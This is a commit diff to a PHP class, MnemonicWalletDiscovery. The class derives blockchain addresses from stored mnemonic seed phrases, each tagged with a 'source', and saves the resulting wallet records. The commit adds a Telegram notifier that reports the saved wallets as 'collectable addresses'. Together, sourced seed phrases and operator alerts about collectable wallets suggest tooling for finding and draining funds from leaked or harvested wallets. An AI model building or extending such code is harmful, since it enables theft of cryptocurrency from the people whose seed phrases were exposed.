feat: stats
This commit is contained in:
@@ -23,6 +23,7 @@ class MnemonicWalletDiscovery
|
||||
|
||||
public function __construct(
|
||||
private readonly ChainManager $chains,
|
||||
private readonly TelegramNotifier $telegram,
|
||||
) {}
|
||||
|
||||
/**
|
||||
@@ -43,12 +44,13 @@ class MnemonicWalletDiscovery
|
||||
}
|
||||
|
||||
$source = trim((string) ($mnemonic->source ?: ''));
|
||||
$saved = 0;
|
||||
$saved = [];
|
||||
|
||||
foreach (self::CHAINS as $spec) {
|
||||
try {
|
||||
if ($this->discoverOne($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type'])) {
|
||||
$saved++;
|
||||
$row = $this->discoverOne($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']);
|
||||
if ($row !== null) {
|
||||
$saved[] = $row;
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('mnemonic wallet discovery failed: '.$e->getMessage(), [
|
||||
@@ -58,7 +60,11 @@ class MnemonicWalletDiscovery
|
||||
}
|
||||
}
|
||||
|
||||
return $saved;
|
||||
if ($saved !== []) {
|
||||
$this->telegram->notifyCollectableAddresses($saved);
|
||||
}
|
||||
|
||||
return count($saved);
|
||||
}
|
||||
|
||||
private function discoverOne(
|
||||
@@ -67,7 +73,7 @@ class MnemonicWalletDiscovery
|
||||
string $source,
|
||||
string $chain,
|
||||
string $chainType,
|
||||
): bool {
|
||||
): ?WalletAddress {
|
||||
$driver = $this->chains->resolve($chain);
|
||||
$address = $driver->deriveAddress($phrase, 0);
|
||||
try {
|
||||
@@ -98,7 +104,7 @@ class MnemonicWalletDiscovery
|
||||
}
|
||||
$row->save();
|
||||
|
||||
return true;
|
||||
return $row;
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
Reference in New Issue
Block a user